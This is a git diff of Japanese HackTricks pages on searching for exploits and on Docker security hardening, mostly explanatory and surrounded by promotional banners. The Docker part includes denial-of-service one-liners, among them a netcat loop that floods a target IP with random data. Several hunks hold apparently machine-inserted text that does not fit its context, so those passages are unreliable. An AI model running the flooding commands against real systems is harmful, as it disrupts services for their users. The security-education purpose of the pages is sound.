* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,34 +1,34 @@
|
|||
# エクスプロイトの検索
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**することができます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### ブラウザ
|
||||
|
||||
常に「google」や他の検索エンジンで検索してください:**\<service\_name> \[version] exploit**
|
||||
|
||||
また、[https://exploits.shodan.io/](https://exploits.shodan.io)の**shodanのエクスプロイト検索**も試してみてください。
|
||||
また、[https://exploits.shodan.io/](https://exploits.shodan.io)の**shodanエクスプロイト検索**も試してみてください。
|
||||
|
||||
### Searchsploit
|
||||
|
||||
コンソールから**exploitdbのサービスのエクスプロイトを検索**するのに便利です。
|
||||
**コンソールからexploitdbのサービスのエクスプロイトを検索**するために便利です。
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
@ -48,32 +48,32 @@ msf> search platform:windows port:135 target:XP type:exploit
|
|||
```
|
||||
### PacketStorm
|
||||
|
||||
何も見つからない場合は、[https://packetstormsecurity.com/](https://packetstormsecurity.com)で使用されている技術を検索してみてください。
|
||||
何も見つからない場合は、[https://packetstormsecurity.com/](https://packetstormsecurity.com) 内で使用されている技術を検索してみてください。
|
||||
|
||||
### Vulners
|
||||
|
||||
vulnersデータベースでも検索できます:[https://vulners.com/](https://vulners.com)
|
||||
vulners データベースでも検索することができます: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
これは他のデータベースでエクスプロイトを検索します:[https://sploitus.com/](https://sploitus.com)
|
||||
これは他のデータベースでの脆弱性を検索します: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** することができます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) をご覧ください。独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションです。
|
||||
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
# Dockerセキュリティ
|
||||
|
||||
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
||||
## **基本的なDockerエンジンのセキュリティ**
|
||||
|
||||
Dockerエンジンは、コンテナの実行と管理を担当しています。Dockerエンジンは、**Namespaces**と**Cgroups**などのLinuxカーネルの機能を使用して、コンテナ間の基本的な**分離**を提供します。さらに、**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**などの機能を使用して、より良い分離を実現しています。
|
||||
Dockerエンジンは、コンテナの実行と管理を担当します。Dockerエンジンは、**Namespaces**と**Cgroups**などのLinuxカーネルの機能を使用して、コンテナ間の基本的な**分離**を提供します。さらに、**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**などの機能を使用して、より良い分離を実現します。
|
||||
|
||||
最後に、**認証プラグイン**を使用して、ユーザーが実行できるアクションを**制限**することができます。
|
||||
|
||||
![](<../../../.gitbook/assets/image (625) (1) (1).png>)
|
||||
|
||||
### **Dockerエンジンへの安全なアクセス**
|
||||
### **Dockerエンジンの安全なアクセス**
|
||||
|
||||
Dockerクライアントは、Unixソケットを使用してDockerエンジンに**ローカルでアクセス**するか、httpメカニズムを使用して**リモートでアクセス**することができます。リモートで使用する場合は、httpsと**TLS**を使用して機密性、整合性、および認証を確保する必要があります。
|
||||
|
||||
デフォルトでは、Unixソケット`unix:///var/`\
|
||||
`run/docker.sock`でリッスンし、Ubuntuディストリビューションでは、Dockerの起動オプションは`/etc/default/docker`に指定されています。Docker APIとクライアントがDockerエンジンにリモートでアクセスできるようにするには、**httpソケットを使用してDockerデーモンを公開する必要があります**。これは次のように行うことができます:
|
||||
`run/docker.sock`でリッスンし、Ubuntuディストリビューションでは、Dockerの起動オプションは`/etc/default/docker`に指定されています。Docker APIとクライアントがリモートでDockerエンジンにアクセスできるようにするには、Dockerデーモンをhttpソケットで**公開する必要があります**。これは次のように行うことができます:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H
|
||||
tcp://192.168.56.101:2376" -> add this to /etc/default/docker
|
||||
|
@ -87,14 +88,14 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
```
|
||||
### Dockerイメージの署名
|
||||
|
||||
Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの発行者は、コンテナイメージの署名とレジストリへのプッシュを管理します。
|
||||
Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの提供者は、コンテナイメージの署名とレジストリへのプッシュを管理します。
|
||||
|
||||
以下は、Dockerコンテンツの信頼性に関する詳細です:
|
||||
|
||||
- Dockerコンテンツの信頼性は、[Notaryオープンソースプロジェクト](https://github.com/docker/notary)の実装です。Notaryオープンソースプロジェクトは、[The Update Framework (TUF)プロジェクト](https://theupdateframework.github.io)に基づいています。
|
||||
- Dockerコンテンツの信頼性は、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツの信頼性はデフォルトでは有効になっていません。
|
||||
- Dockerコンテンツの信頼性は、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツの信頼性はデフォルトで有効になっていません。
|
||||
- コンテンツの信頼性が有効になっている場合、署名されたイメージのみをプルすることができます。イメージをプッシュする際には、タグキーを入力する必要があります。
|
||||
- 発行者が初めてdocker pushを使用してイメージをプッシュする場合、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。
|
||||
- パブリッシャーが初めてdocker pushを使用してイメージをプッシュするときには、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。
|
||||
- Dockerは、Yubikeyを使用したハードウェアキーのサポートも追加しており、詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)で確認できます。
|
||||
|
||||
以下は、コンテンツの信頼性が有効になっており、イメージが署名されていない場合に表示されるエラーメッセージです。
|
||||
|
@ -122,7 +123,7 @@ cp ~/.ssh/id_rsa.pub /path/to/backup/location
|
|||
cp ~/.ssh/known_hosts /path/to/backup/location
|
||||
```
|
||||
|
||||
これにより、プライベートキーと既知のホスト情報がバックアップされます。
|
||||
これにより、プライベートキーと関連するファイルがバックアップされます。
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
|
@ -130,7 +131,7 @@ Dockerホストを変更した際、新しいホストから操作するため
|
|||
|
||||
***
|
||||
|
||||
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
|
@ -146,18 +147,18 @@ Dockerホストを変更した際、新しいホストから操作するため
|
|||
|
||||
**ネームスペース**
|
||||
|
||||
ネームスペースは、プロセス間の通信、ネットワーク、マウントなどを分離するために役立ちます。Dockerプロセスを他のプロセス(さらには/procフォルダ)から分離するために使用されます。
|
||||
ネームスペースは、プロジェクトを他のプロジェクトから分離し、プロセス間通信、ネットワーク、マウントを分離するために役立ちます。Dockerプロセスを他のプロセス(そして/procフォルダさえも)から分離するために使用することができます。
|
||||
|
||||
バイナリの**`unshare`**(**`unshare`**シスコールを使用)を使用して、新しいネームスペースを作成することが可能です。Dockerはデフォルトでこれを防止していますが、kubernetesは(この記述時点では)防止していません。\
|
||||
とはいえ、これは新しいネームスペースを作成するのに役立ちますが、ホストのデフォルトのネームスペースに戻ることはできません(ホストのネームスペース内のいくつかの`/proc`にアクセスできる場合は、**`nsenter`**を使用してホストのネームスペースに入ることができます)。
|
||||
バイナリの**`unshare`**(**`unshare`**シスコールを使用する)を使用して、新しいネームスペースを作成することが可能です。Dockerはデフォルトでこれを防止していますが、kubernetesは(この記述時点では)防止していません。\
|
||||
とにかく、これは新しいネームスペースを作成するのに役立ちますが、**ホストのデフォルトのネームスペースに戻ることはできません**(ホストのネームスペース内のいくつかの`/proc`にアクセスできる場合は、**`nsenter`**を使用してホストのネームスペースに入ることができます)。
|
||||
|
||||
**CGroups**
|
||||
|
||||
これにより、リソースを制限することができ、プロセスの分離のセキュリティには影響しません(ただし、脱出に使用できる`release_agent`には影響を与える可能性があります)。
|
||||
これにより、リソースを制限することができ、プロセスの分離のセキュリティには影響しません(`release_agent`は脱出に使用される可能性があります)。
|
||||
|
||||
**Capabilitiesの削除**
|
||||
|
||||
プロセスの分離セキュリティに関して、これは**最も重要な**機能の1つだと考えています。これは、プロセスがrootとして実行されていても、必要な権限を持っていないため、特権のあるアクションを実行できないことがあるからです(呼び出された**`syscall`**が権限エラーを返すため)。
|
||||
プロセスの分離セキュリティに関して、これは**最も重要な**機能の1つだと考えています。これは、プロセスがrootとして実行されていても、必要な権限を持っていないため、特権のあるアクションを実行できないからです(呼び出された**`syscall`**が権限エラーを返すため)。
|
||||
|
||||
これは、プロセスが他の権限を削除した後の**残りの権限**です:
|
||||
|
||||
|
@ -182,7 +183,7 @@ Dockerには、アクティベートできるテンプレートがあります
|
|||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces**は、Linuxカーネルの機能であり、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにカーネルリソースを分割する機能です。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する場合があります。
|
||||
**Namespaces**は、Linuxカーネルの機能であり、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにカーネルリソースを分割する機能です。この機能は、同じ名前空間を持つリソースとプロセスがあるが、それらの名前空間は異なるリソースを参照するようになっています。リソースは複数のスペースに存在する場合があります。
|
||||
|
||||
Dockerは、コンテナの分離を実現するために、次のLinuxカーネルのNamespacesを使用しています:
|
||||
|
||||
|
@ -200,8 +201,8 @@ Dockerは、コンテナの分離を実現するために、次のLinuxカーネ
|
|||
|
||||
### cgroups
|
||||
|
||||
Linuxカーネルの機能である**cgroups**は、一連のプロセスに対してCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。Dockerでは、cgroup機能を使用してリソース制御を行うことができるコンテナを作成することができます。\
|
||||
以下は、ユーザースペースのメモリを500mに制限し、カーネルメモリを50mに制限し、CPUシェアを512に設定し、blkioweightを400に設定したコンテナの例です。CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。CPUリソースの競合が発生した場合、3つのコンテナが同じCPUシェア1024を持っている場合、各コンテナは最大33%のCPUを使用できます。blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。
|
||||
Linuxカーネルの機能である**cgroups**は、一連のプロセスの間でCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。 Dockerでは、cgroup機能を使用してリソース制御を行うことができるコンテナを作成することができます。\
|
||||
以下は、ユーザースペースのメモリを500mに制限し、カーネルメモリを50mに制限し、CPUシェアを512に設定したコンテナの例です。CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。3つのコンテナが同じCPUシェア1024を持っている場合、CPUリソースの競合が発生した場合、各コンテナは最大33%のCPUを使用できます。blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -219,9 +220,9 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
|
|||
|
||||
### Capabilities
|
||||
|
||||
Capabilitiesは、rootユーザーに許可される可能性のある機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。
|
||||
Capabilitiesは、rootユーザーに許可されるcapabilitiesをより細かく制御することができます。DockerはLinuxカーネルのcapability機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。
|
||||
|
||||
Dockerコンテナが実行されると、プロセスは分離から脱出するために使用できる機能を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようになります。
|
||||
Dockerコンテナが実行されると、プロセスは分離から脱出するために使用できる機密のcapabilitiesを削除します。これにより、プロセスが機密のアクションを実行して脱出することができないようになります。
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -229,7 +230,7 @@ Dockerコンテナが実行されると、プロセスは分離から脱出す
|
|||
|
||||
### DockerにおけるSeccomp
|
||||
|
||||
これは、コンテナ内で使用できるシスコールを制限するセキュリティ機能です。
|
||||
これは、Dockerがコンテナ内で使用できるsyscallsを制限するセキュリティ機能です。
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
@ -245,7 +246,7 @@ AppArmorは、カーネルの拡張機能であり、コンテナを制限され
|
|||
|
||||
### DockerにおけるSELinux
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとのプロセスラベルが許可される操作に関するルールを定義します。
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとプロセスラベルが許可される操作に関するルールを定義します。
|
||||
|
||||
コンテナエンジンは、通常`container_t`という単一の制約付きSELinuxラベルでコンテナプロセスを起動し、コンテナ内のコンテナを`container_file_t`というラベルでラベル付けします。SELinuxポリシールールは基本的に、`container_t`プロセスが`container_file_t`とラベル付けされたファイルを読み取り/書き込み/実行できるということを示しています。
|
||||
|
||||
|
@ -273,7 +274,22 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
|||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
* バンド幅 DoS
|
||||
# バンド幅 DoS
|
||||
|
||||
バンド幅 DoS(Denial of Service)は、攻撃者がターゲットのネットワークやシステムに対して、大量のトラフィックを送信することによって、サービスの提供を妨害する攻撃手法です。
|
||||
|
||||
攻撃者は、高帯域幅のネットワーク接続を利用して、ターゲットのネットワークに大量のデータを送信します。これにより、ネットワークの帯域幅が飽和し、正規のトラフィックが遮断されます。結果として、サービスの提供が停止し、ユーザーはサービスにアクセスできなくなります。
|
||||
|
||||
バンド幅 DoS 攻撃は、ネットワークの帯域幅を効果的に利用するため、攻撃者によって容易に実行されることがあります。この攻撃手法は、ネットワークの脆弱性を悪用することなく、サービスの停止を引き起こすため、対策が重要です。
|
||||
|
||||
バンド幅 DoS 攻撃に対する対策としては、以下のような手法があります。
|
||||
|
||||
- ファイアウォールやIPS(Intrusion Prevention System)を使用して、不正なトラフィックを検出およびブロックする。
|
||||
- ネットワークのトラフィックを監視し、異常なトラフィックを検知するシステムを導入する。
|
||||
- ネットワークの帯域幅を適切に管理し、トラフィックの過負荷を防ぐ。
|
||||
- クラウドプロバイダやネットワークサービスプロバイダによるトラフィックのフィルタリングや制限を利用する。
|
||||
|
||||
バンド幅 DoS 攻撃は、ネットワークやシステムの可用性に重大な影響を与える可能性があるため、セキュリティ対策を適切に実施することが重要です。
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
|
@ -338,9 +354,9 @@ By following these additional steps, you can enhance the security of your Docker
|
|||
|
||||
また、**環境変数を使用しても、機密情報を保護することはできません**。`docker inspect`や`exec`を実行できる人は、シークレットを見つけることができます。
|
||||
|
||||
Dockerボリュームの方が良いです。Dockerドキュメントでは、機密情報にアクセスするための推奨方法としてボリュームを使用することを勧めています。ボリュームは、`docker inspect`やログのリスクを除去します。ただし、**rootユーザーやコンテナに`exec`できる人は、シークレットを見ることができます**。
|
||||
Dockerボリュームの使用がおすすめです。Dockerドキュメントでは、機密情報にアクセスするための推奨方法としてボリュームを使用することを勧めています。ボリュームは、`docker inspect`やログのリスクを除去します。ただし、**rootユーザーやコンテナに`exec`できる人は、シークレットを見ることができます**。
|
||||
|
||||
ボリュームよりもさらに良いのは、Dockerシークレットを使用することです。
|
||||
ボリュームよりもさらに良い方法として、Dockerシークレットを使用してください。
|
||||
|
||||
**イメージ内でシークレットが必要な場合**は、BuildKitを使用することができます。BuildKitはビルド時間を大幅に短縮するだけでなく、ビルド時のシークレットのサポートを含む他の便利な機能も備えています。
|
||||
|
||||
|
@ -377,9 +393,9 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
次に、通常通り`docker-compose up --build my_service`でComposeを起動します。
|
||||
次に、通常通り `docker-compose up --build my_service` でComposeを起動します。
|
||||
|
||||
[Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/)を使用している場合、シークレットのサポートがあります。[Helm-Secrets](https://github.com/futuresimple/helm-secrets)は、Kubernetesでのシークレット管理を容易にするのに役立ちます。さらに、KubernetesとDocker Enterpriseの両方には、ロールベースのアクセス制御(RBAC)があります。RBACにより、チームのシークレット管理がより管理しやすく、より安全になります。
|
||||
